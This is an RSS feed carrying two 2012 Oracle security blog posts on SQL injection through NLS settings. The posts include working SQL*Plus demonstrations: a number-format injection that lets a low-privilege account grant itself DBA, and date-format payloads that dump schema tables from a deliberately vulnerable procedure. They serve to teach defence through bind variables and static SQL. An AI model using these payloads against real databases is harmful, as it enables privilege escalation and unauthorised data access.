<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ORACLE-BASE Blog Aggregator &#187; Thomas Kyte</title>
	<atom:link href="http://www.oracle-base.com/aggregator/author/thomas-kyte/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.oracle-base.com/aggregator</link>
	<description>Blogs I follow...</description>
	<lastBuildDate>Mon, 06 Feb 2012 11:08:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>All about Security &#8211; SQL Injection redux</title>
		<link>http://tkyte.blogspot.com/2012/02/all-about-security-sql-injection-redux.html</link>
		<comments>http://tkyte.blogspot.com/2012/02/all-about-security-sql-injection-redux.html#comments</comments>
		<pubDate>Fri, 03 Feb 2012 19:53:24 +0000</pubDate>
		<dc:creator>Thomas Kyte</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.oracle-base.com/aggregator/?guid=548619aa2bc6f602e2dea22f13e7fada</guid>
		<description><![CDATA[I just wrote about SQL Injection yesterday - after having giving a web seminar on Wednesday the touched on the topic.One of the comments on that post was by David Litchfield, he wrote:Hey Tom,Funnily enough I just published a paper about doing the same...]]></description>
			<content:encoded><![CDATA[I just<a href="http://tkyte.blogspot.com/2012/02/all-about-security-sql-injection.html"> wrote about SQL Injection</a> yesterday - after<a href="http://event.on24.com/r.htm?e=390461&amp;s=1&amp;k=5F30645E675CBF55C8BDED9F3D28AE69&amp;partnerref=blog1_sec_dbsecmulti"> having giving a web seminar on Wednesday</a> the touched on the topic.<br /><br />One of the comments on that post was by David Litchfield, he wrote:<br /><blockquote class="tr_bq"><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;">Hey Tom,</span><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;">Funnily enough I just published a paper about doing the same thing with NUMBER concatenations. This was an addendum to a paper I wrote in 2008 on exploit DATE concatenations - the same problem you discuss here. You can get the recent paper here: <a href="http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers">http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers</a> and the first paper here: <a href="http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf">http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf</a></span></blockquote><div style="text-align: left;"><span style="color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; font-size: x-small;"><span style="line-height: 18px;"><br /></span></span></div>I read that new paper and learned something new (actually, much like David - I was kicking myself because I should have been able to see this problem coming as well. &nbsp;It is just a variation on a theme after all). &nbsp;In that paper, he demonstrates how to exploit a SQL Injection flaw using NLS settings with numbers. &nbsp;That is something I hadn't considered before. &nbsp;NLS settings for numbers are different than for dates. &nbsp;With a date, I can set the format string to have any string of characters I want. &nbsp;With numbers - you are very much restricted. On the face of it - it doesn't look like you can exploit a SQL Injection flaw with numbers like you can with dates.<br /><br />But - you can. &nbsp;Just not as flexibly. &nbsp;But the end result can be as&nbsp;disastrous. <br /><br />One of the follow on comments to this posting by David was:<br /><br /><blockquote class="tr_bq"><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;">the problem David mentions in&nbsp;</span><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;"><a href="http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers">http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers</a>&nbsp;</span><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;">only arises since NUM_PROC is owned by SYS,</span><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;">as far as I can see, correct ?</span>&nbsp;</blockquote><blockquote class="tr_bq"><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;">So, it's not really a problem since nobody ever does something as SYS, correct.</span></blockquote><br />In his example, David used SYS to demonstrate with - which could lead people to believe "ah, it needs SYS to exploit this flaw". &nbsp;But - it doesn't. &nbsp;All it requires is an account with these privileges:<br /><ul><li>Create session</li><li>Create procedure</li><li>Create public synonym &lt;&lt;&lt;=== these guys are evil! &nbsp;Should be avoided</li></ul><div>And another schema that has the ability to GRANT stuff - like DBA. &nbsp;It doesn't have to be DBA, it could be any privilege they have the ability to grant.</div><div><br /></div><div>Here is how to exploit the flaw. &nbsp;First - read David's paper to get the background on the 'P ' NLS_NUMERIC_CHARACTERS. &nbsp;Then you'll understand how:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; select .1 from dual;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; .1</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">----------</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; P1</span></div><div><br /></div></div><div>works. &nbsp;Once you have mastered that, all we need to do to exploit this type of SQL Injection flaw is this. &nbsp;I'll have a DBA schema containing a procedure that uses dynamic SQL with string concatenation and a number as an input:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; create or replace procedure do_something( l_num in number )</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 2 &nbsp;as</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 3 &nbsp; &nbsp; &nbsp;l_query &nbsp;long;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 4 &nbsp; &nbsp; &nbsp;l_cursor sys_refcursor;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 5 &nbsp; &nbsp; &nbsp;l_rec &nbsp; &nbsp;all_users%rowtype;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 6 &nbsp;begin</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 7 &nbsp; &nbsp; &nbsp;l_query := '</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 8 &nbsp; &nbsp; &nbsp; select *</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 9 &nbsp; &nbsp; &nbsp; &nbsp; from all_users</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;10 &nbsp; &nbsp; &nbsp; &nbsp;where user_id = ' || l_num;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;11 &nbsp; &nbsp; &nbsp;dbms_output.put_line( l_query );</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;12 &nbsp;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;13 &nbsp; &nbsp; &nbsp;open l_cursor for l_query;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;14 &nbsp;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;15 &nbsp; &nbsp; &nbsp;loop</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;16 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;fetch l_cursor into l_rec;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;17 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;exit when l_cursor%notfound;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;18 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dbms_output.put_line( 'username = ' ||&nbsp;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;l_rec.username );</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;19 &nbsp; &nbsp; &nbsp;end loop;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;20 &nbsp; &nbsp; &nbsp;close l_cursor;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;21 &nbsp;end;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;22 &nbsp;/</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Procedure created.</span></div></div><div><br /></div><div>Then, we'll have our account with the small set of privileges:</div><div><br /></div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; create user a identified by a;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">User created.</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; grant create session, create procedure,</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; create public synonym to a;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Grant succeeded.</span></div></div><div><br /></div><div><br /></div><div>and we'll allow it to access this procedure - just like in my original SQL Injection article:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; grant execute on do_something to a;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Grant succeeded.</span></div></div><div><br /></div><div>Ok, so now we'll log in as A and run the procedure to see what it does:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; connect a/a</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Connected.</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt;&nbsp;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; exec ops$tkyte.do_something( 5 );</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp;select *</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp;from all_users</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; where user_id = 5</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">username = SYSTEM</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">PL/SQL procedure successfully completed.</span></div></div><div><br /></div><div><br /></div><div>Now, we suspect it might use string concatenation - so we'll create a function that might be able to exploit this:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; create or replace function foobar return number</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 2 &nbsp;authid current_user</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 3 &nbsp;as</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 4 &nbsp; &nbsp; &nbsp;pragma autonomous_transaction;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 5 &nbsp;begin</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 6 &nbsp; &nbsp; &nbsp;execute immediate 'grant dba to a';</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 7 &nbsp; &nbsp; &nbsp;return 5;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 8 &nbsp;end;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 9 &nbsp;/</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Function created.</span></div></div><div><br /></div><div>And then set up our public synonym for it and allow others to execute it:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; create public synonym p1 for foobar;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Synonym created.</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; grant execute on foobar to public;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Grant succeeded.</span></div></div><div><br /></div><div><br /></div><div>and now for the magic:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; alter session set nls_numeric_characters = 'P ';</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Session altered.</span></div></div><div><br /></div><div>and viola:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; set role dba;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">set role dba</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">*</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">ERROR at line 1:</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">ORA-01924: role 'DBA' not granted or does not exist</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; exec ops$tkyte.do_something( .1 );</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp;select *</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp;from all_users</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; where user_id = P1</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">username = SYSTEM</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">PL/SQL procedure successfully completed.</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; set role dba;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Role set.</span></div></div><div><br /></div><div><br /></div><div>I have DBA...</div><div><br /></div><div>SQL Injection is insidious. &nbsp;SQL Injection is hard to detect. &nbsp;SQL Injection can be avoided - <i style="font-weight: bold;">by simply using bind variables.</i>&nbsp; In the event a bind variable is not possible for some provable technical reason (and those events are few and far far far in between) you have to critically review that code over and over and try to think of every way it could be exploited. &nbsp;The problem with that however is that before yesterday - I would have looked at this code and might have said "this looks ok". &nbsp;</div><div><br /></div><div>It is really hard to protect yourself from something you cannot see.<br /><br /><b><i><u><br /></u></i></b><br /><u style="font-style: italic; font-weight: bold;">Updated a little later:</u>&nbsp;Let me also say this:<br /><br />If you use static sql in plsql - your code in plsql cannot be sql injected, period. &nbsp;It is not possible. &nbsp;The only way to get sql injected in plsql is to use dynamic sql - that is the only time. &nbsp;So, if you want maximum protection from SQL Injection - if you just want to avoid it, you will:<br /><br />a) write your SQL code in PL/SQL<br />b) call this PL/SQL from your java/c/c#/whatever code USING BINDS to pass all inputs and outputs to/from the database<br /><br />If you do that - no SQL Injection attacks are possible. &nbsp;</div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-3428729923719611696?l=tkyte.blogspot.com' alt='' /></div>]]></content:encoded>
			<wfw:commentRss>http://www.oracle-base.com/aggregator/2012/02/03/all-about-security-sql-injection-redux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>All about Security &#8211; SQL Injection</title>
		<link>http://tkyte.blogspot.com/2012/02/all-about-security-sql-injection.html</link>
		<comments>http://tkyte.blogspot.com/2012/02/all-about-security-sql-injection.html#comments</comments>
		<pubDate>Thu, 02 Feb 2012 22:05:13 +0000</pubDate>
		<dc:creator>Thomas Kyte</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.oracle-base.com/aggregator/?guid=594a30fae3026dafcf9aea0eb0506b57</guid>
		<description><![CDATA[I recently did a web seminar on Oracle Database Security (you can see a replay of it here). &#160;We had over 1,300 live attendees (glad I couldn't see you all - that would be scary) and the feedback was pretty good.We also received a few questions, we...]]></description>
			<content:encoded><![CDATA[I recently did a web seminar on Oracle Database Security (you can see a <a href="http://event.on24.com/r.htm?e=390461&amp;s=1&amp;k=5F30645E675CBF55C8BDED9F3D28AE69&amp;partnerref=blog1_sec_dbsecmulti">replay of it here</a>). &nbsp;We had over 1,300 live attendees (glad I couldn't see you all - that would be scary) and the feedback was pretty good.<br /><br />We also received a few questions, well, actually - a lot of questions. &nbsp;I'm going to try to tackle them here bit by bit. &nbsp;I'm going to start with my favorite topic - questions centered around SQL Injection. &nbsp;I'll center on the core concepts around SQL Injection in this article and then do a followup article regarding the Oracle Database Firewall - a tool useful for detecting and blocking SQL Injection attacks.<br /><br />During the presentation - I talked about how insidious SQL Injection is - and how hard it can be to detect. In fact, I've written about this before, <a href="http://www.oracle.com/technetwork/issue-archive/2005/05-jan/o15asktom-084959.html">in this article</a>. &nbsp;The interesting thing about that article on injecting is the very last part of it, the section on "selective system grants". &nbsp;If you read that small section you'll see a comment <i>"Note: Revised contentto prevent SQL injection for this procedure submitted by Roy Jorgensen."</i>. &nbsp;What that means is - the original article I submitted had a SQL Injection bug in it - right after I just spent pages going over SQL Injection! &nbsp;That wasn't too embarrassing was it (it was). &nbsp;But it does point out how easy it is for a SQL Injection bug to sneak into code - even when the coder knows full well what SQL Injection is and how it happens!<br /><br />Anyway, during the web seminar I talked about a slide I use - with a full stored procedure on it - that contains a SQL Injection bug. &nbsp;I ask the audience, usually full of developers and DBAs to tell me how the code can be SQL Injected.. &nbsp;I tell them right out - this code can be injected and if I were to put it in my schema and grant you execute on it - you could use this to read pretty much any table I own.<br /><br />I usually hear crickets at this point in time, no hands, no volunteers. &nbsp;Here is the slide:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-Z-Dc-vskWFQ/TyrdFricsFI/AAAAAAAAACk/G2PNPz9dWf8/s1600/slide.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="http://4.bp.blogspot.com/-Z-Dc-vskWFQ/TyrdFricsFI/AAAAAAAAACk/G2PNPz9dWf8/s640/slide.png" width="640" /></a></div><br />Note that the input to this procedure is a binary Oracle date - it is fixed length, 7 bytes of data - the century, year, month, day, hour, minute and second. &nbsp; The input is not a string, the input cannot contain things like "or 1=1" - typical SQL Injection attack strings. &nbsp;It can only contain an Oracle date. &nbsp;So - the question is - how can I 'trick' this stored procedure into showing me anything I want to see in the schema that owns the procedure (thus bypassing any and all security the application tier might have put in place - there are no restrictions on what I can and cannot see now).<br /><br />Before we get there - let's talk about the bit of code that will be problematic - that is line 10. &nbsp;As noted there is a double implicit conversion going on there. &nbsp;That line of code is really:<br /><br /><br /><span style="font-family: 'Courier New', Courier, monospace;">Where created = to_date( to_char( p_date ) );</span><br /><div><br /></div><div>There is an implicit to_char on the date field in order to concatenate it to the query string. &nbsp;Then, at runtime there is an implicit to_date on the string we concatenated in so we can compare it to a date. &nbsp;This is a very common thing I see in code all of the time (implicit conversions) - but it is pure evil. &nbsp;Not only will we discover it is the cause of a SQL Injection issue - but here it is a logic bomb as well.</div><div><br /></div><div>First of all - by default - that to_date( to_char() ) conversion will have a side effect of effectively truncating the time component from the date field. &nbsp;That is evil. &nbsp;If you wanted to truncate the time off - please use TRUNC() on the date - it is much faster, more efficient, and expresses clearly that you intend to truncate the time component. &nbsp;To_date(to_char()) does none of that. &nbsp;Secondly - the conversion by default will also lose the century. &nbsp;If you were trying to look for things created during the war of 1812 - you would lose, you cannot search for 1812 - it would become 2012 (well, right now as I write this it would be 2012 - in 38 years it will become 2112 and you won't be able to search for 2012 anymore...).<br /><br />Also consider that I said "by default". &nbsp;By default the NLS_DATE_FORMAT is DD-MON-RR (currrently, it has been different in the past!). &nbsp;What happens to this code when someone decides to change it? &nbsp;Your application might well start querying up entirely different data!</div><div><br /></div><div>So, the implicit conversion by itself is bad - but the real issue is the SQL Injection flaw. &nbsp;If you just run this procedure, by default - it certainly looks OK:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; exec inj( sysdate )</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; select *</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; from all_users</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;where created = '02-FEB-12'</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">PL/SQL procedure successfully completed.</span></div></div><div><br /></div><div>that looks OK - seems pretty safe - <i>until</i>, until someone who has read the documentation comes along. &nbsp;They might run your code like this:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; alter session set</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 2 &nbsp;nls_date_format = 'dd-mon-yyyy"'' or ''a'' = ''a"';</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Session altered.</span></div></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; exec inj( sysdate )</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; select *</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; from all_users</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;where created = '02-feb-2012' or 'a' = 'a'</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">A.....</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">EBRAPP.....</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">EBRTBLS.....</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">UTIL.....</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">USER2.....</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">PL/SQL procedure successfully completed.</span></div></div><div><br /></div><div>Now that is surprising, &nbsp;you might not even know you could do that in an NLS_DATE_FORMAT. &nbsp;It is really hard to protect against something you don't even know <i>you can do</i>&nbsp;- isn't it? &nbsp;I've had people look at that example and scoff at it - saying "so what, they were allowed to see that table". &nbsp;Ok, take it a step further, I'd like to know what tables you own - so I can start querying them. &nbsp;I'll just do this:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; alter session set</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 2 &nbsp;nls_date_format = '"''union select tname,0,null from tab--"';</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Session altered.</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; exec inj( null )</span></div></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Select *</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; from all_users</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;where created = ''union select tname,0,null from tab--'</span></div></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">....</span></div><div><br /></div><div>Now you can see where this is going... &nbsp;I find one SQL Injection bug in one procedure and I've unlocked the entire schema. &nbsp;</div><div><br /></div><div>So, the question now comes up - how do I protect myself from this? &nbsp;What can I do to ensure I'm not subject to SQL Injection in this code?</div><div><br /></div><div>There are two ways - the hard way and the easy way. &nbsp;</div><div><br /></div><div>The hard way involves writing code to validate everything and having <i style="font-weight: bold;">serious</i>&nbsp;code reviews of any code that uses string concatenation to build their SQL statements - any code that takes a parameter as input and concatenates it to a SQL query must be read and reviewed by many people - many people who will be super critical of the code. &nbsp;In this case, the resulting code would have to be:</div><div><br /></div><div><span style="font-family: 'Courier New', Courier, monospace;">where created = to_date( ''' || to_char(p_date,'yyyymmddhh24miss') ||''', ''yyyymmddhh24miss'')'; &nbsp;&nbsp;</span></div><div><br /></div><div>You need to have a coding standard that says:</div><div><br /></div><div><ol><li>You shall <i>never</i> use implicit conversions ever, as in never.</li><li>You shall <i>always</i>&nbsp;use an explicit date mask with dates, as in every single time, you will not rely on defaults (because defaults can inject you and because defaults can radically modify your logic unintentionally!)</li></ol><div>And now you have to comb through all of your code looking for these bad practices (you should anyway - you have major logic bombs just waiting to explode in your code if you rely on default NLS settings and implicit conversions).</div></div><div><br /></div><div>The easy way however is the way to go. &nbsp;The easy way is - just use bind variables! &nbsp;If you use bind variables, you <i style="font-weight: bold;">cannot be SQL Injected</i>&nbsp;- this is true for PL/SQL, for Java, for any and all languages. &nbsp;If you use bind variables you <i style="font-weight: bold;">cannot be SQL Injected - period.</i>&nbsp; It is that simple, really and truly. &nbsp;If the code was:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;l_query := '</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;select *</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;from all_users</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;10 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; where created = :x';</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;11 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;open c for l_query USING P_DATE;</span></div><div></div></div><div>there is no way the end user can trick that SQL query into becoming anything other than what it is - in fact, for this example, the code should have been:</div><div><br /></div><div><span style="font-family: 'Courier New', Courier, monospace;">as</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp;cursor c is select * from all_users where created = p_date;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">begin</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp;open c;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp;...</span></div><div><br /></div><div>and nothing more - it shouldn't have even been using dynamic SQL. &nbsp;In Java/C#/C++/etc - you would be using dynamic SQL and you should be using bind variables. &nbsp; So, that answered all of these questions I received:</div><div><br /></div><div><div>•<span class="Apple-tab-span" style="white-space: pre;"> </span>where can I find an illustration of SQL injection?</div><div>•<span class="Apple-tab-span" style="white-space: pre;"> </span>can u share the sql injection demo code</div><div>•<span class="Apple-tab-span" style="white-space: pre;"> </span>Can you share that SQL injection slide?</div><div>•<span class="Apple-tab-span" style="white-space: pre;"> </span>Can you show a code example of the SQL injection bug that nobody noticed during your presentations?</div><div>•<span class="Apple-tab-span" style="white-space: pre;"> </span>Can you show us or point us to the site of the example of SQL injection bug?</div><div>•<span class="Apple-tab-span" style="white-space: pre;"> </span>Is SQL injection all about binding, or is there more?</div></div><div><br /></div><div>Another question was:</div><div><br /></div><div>•<span class="Apple-tab-span" style="white-space: pre;"> </span>should application layer deal with the SQL injection attacks prevention as that layer understands what the proper data access patterns look like rather then database?</div><div><br /></div><div>My response to that is - the application layer should definitely be aware of SQL Injection and use secure coding practices which would include:</div><blockquote class="tr_bq"><i>always use a bind variable unless you have an excellent technical reason not to - and then you must submit your code for review to at least five people who do not like you - they must be motivated to rip your code apart, critically review it, make fun of it - so they find the bugs.</i></blockquote><div>However - we need to also employ defense in depth - for when the inevitable bug slips through. &nbsp;When I next write about this - I'll be going over the Oracle Database Firewall - a tool that can provide at least one more layer of defense.</div><div><br /></div><div>The last question on this topic was:&nbsp;</div><div><br /></div><div>•<span class="Apple-tab-span" style="white-space: pre;"> </span>What is the dbms_assert PL/SQL package? How does it help prevent SQL injection? Should my organization be using it?</div><div><br /></div><div>For that - I'll just forward you onto an excellent paper on this subject written by Bryn Llewellyn. &nbsp;You can <a href="http://www.oracle.com/technetwork/database/features/plsql/overview/how-to-write-injection-proof-plsql-1-129572.pdf">find that paper here</a>.</div><div><br /></div><div><br /></div><div><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-159207665102454160?l=tkyte.blogspot.com' alt='' /></div>]]></content:encoded>
